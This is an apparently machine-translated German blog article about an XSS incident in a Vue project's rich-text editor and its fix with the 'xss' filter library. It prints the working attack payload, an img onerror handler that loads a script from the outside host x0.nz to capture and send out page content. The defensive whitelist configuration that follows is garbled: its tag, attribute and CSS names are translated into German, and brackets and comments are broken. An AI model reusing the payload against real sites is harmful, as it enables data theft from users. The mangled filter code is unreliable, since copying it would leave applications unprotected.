Ein praktischer Bericht über XSS-Angriffe in einem VUE-Projekt

Vorwort

Mit der rasanten Entwicklung des Internets sind Fragen der Informationssicherheit zu einem der Hauptanliegen von Unternehmen geworden, und das Front-End ist eine Hochburg mit hohem Risiko, die Sicherheitsprobleme für Unternehmen verursacht. Im Zeitalter des mobilen Internets stoßen Front-End-Mitarbeiter neben herkömmlichen Sicherheitsproblemen wie XSS und CSRF häufig auf neue Sicherheitsprobleme wie Netzwerk-Hijacking und illegale Aufrufe von Hybrid-APIs. Natürlich entwickeln sich die Browser selbst ständig weiter und führen ständig neue Technologien wie CSP und Same-Site-Cookies ein, um die Sicherheit zu verbessern. Dennoch gibt es immer noch viele potenzielle Bedrohungen, die von Front-End-Technikern erfordern, ständig „nach Lecks zu suchen und die Lücken zu schließen“.

Entdecken Sie die Ursache

Die ganze Schuld liegt beim Rich-Text-Editor ...

Um Benutzern das direkte Einfügen von Bildern zu ermöglichen, wurde das Textfeld nach Bedarf in einen Rich-Text-Editor geändert. Benutzer, die Bilder aus dem Internet hochgeladen haben, konnten dieses Feld jedoch nicht mehr nutzen.

Angriffscode 1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

Wenn die Daten wiedergegeben werden, meldet das Bild einen Fehler und führt das Ereignis onerror aus, wodurch ein Screenshot der aktuellen Seite erstellt und an das angegebene Postfach gesendet wird.

Die ursprüngliche Lösung bestand darin, die Rich-Text-Editor-Methode zum Hochladen von Online-Bildern direkt zu deaktivieren, doch der Angriff wurde wiederholt. Der Angreifer verwendete „Fiddler“, um die Parameter zu ändern und den gleichen Effekt zu erzielen.

Schließlich wurde ein Plugin zum Schutz vor XSS-Angriffen eines Drittanbieters verwendet und das Problem durch die Konfiguration einer Whitelist gelöst, die beim Senden und Abrufen der Backend-Rückgabedaten gefiltert wurde.

Chinesische Dokumentationsadresse des Plugins: github.com/leizongmin/…

npm installiere xss

Importiere FilterXSS von "xss"

Benutzerdefinierte Filterregeln

Beim Aufruf der Funktion xss() zum Filtern können Sie über den zweiten Parameter benutzerdefinierte Regeln festlegen:

options = {}; // Benutzerdefinierte Regeln html = filterXSS('<script>alert("xss");</script>', options);

Das durch die Whitelist angegebene Format lautet: {'Tagname': ['Attribut 1', 'Attribut 2']}. Tags, die nicht auf der Whitelist stehen, werden gefiltert, und Attribute, die nicht auf der Whitelist stehen, werden ebenfalls gefiltert.

let Optionen = {
    stripIgnoreTagBody: true, // Tags die nicht in der Whitelist sind und deren Inhalt werden direkt gelöscht whiteList: {
        h1: ["Stil"],
        h2: ["Stil"],
        h3: ["Stil"],
        h4: ["Stil"],
        h5: ["Stil"],
        h6: ["Stil"],
        hr: ["Stil"],
        Spanne: ["Stil"],
        stark: ["Stil"],
        b: ["Stil"],
        i: ["Stil"],
        br: [],
        p: ["Stil"],
        vor: ["Stil"],
        Code: ["Stil"],
        a: ["Stil", "Ziel", "href", "Titel", "rel"],
        img: ["Stil", "Quelle", "Titel"],
        div: ["Stil"],
        Tabelle: ["Stil", "Breite", "Rahmen"],
        tr: ["Stil"],
        td: ["Stil", "Breite", "Spaltenspanne"],
        th: ["Stil", "Breite", "Colspan"],
        tbody: ["Stil"],
        ul: ["Stil"],
        li: ["Stil"],
        ol: ["Stil"],
        dl: ["Stil"],
        dt: ["Stil"],
        em: ["Stil"],
        zitieren: ["Stil"],
        Abschnitt: ["Stil"],
        Kopfzeile: ["Stil"],
        Fußzeile: ["Stil"],
        blockquote: ["Stil"],
        Audio: ["Autoplay", "Steuerung", "Schleife", "Vorladen", "Quelle"],
        Video:
          "Autoplay",
          "Kontrollen",
          "Schleife",
          "Vorspannung",
          "Quelle",
          "Höhe",
          "Breite",
        ],
     },
     css: {
     // Da das Stilattribut des Tags in der obigen Whitelist zulässig ist, muss verhindert werden, dass Angreifer diese Methode verwenden, um die Whitelist anzugreifen: {
          Farbe: echt,
          "Hintergrundfarbe": wahr,
          Breite: wahr,
          Höhe: wahr,
          "max-width": wahr,
          "max-height": wahr,
          "Mindestbreite": wahr,
          "Mindesthöhe": wahr,
          "Schriftgröße": wahr,
        },
    },
}

Inhalt = FilterXSS(Inhalt, Optionen)

Zusammenfassen

Dies ist das Ende dieses Artikels über XSS-Angriffe in VUE-Projekten. Weitere relevante XSS-Angriffe in VUE-Projekten finden Sie in früheren Artikeln auf 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!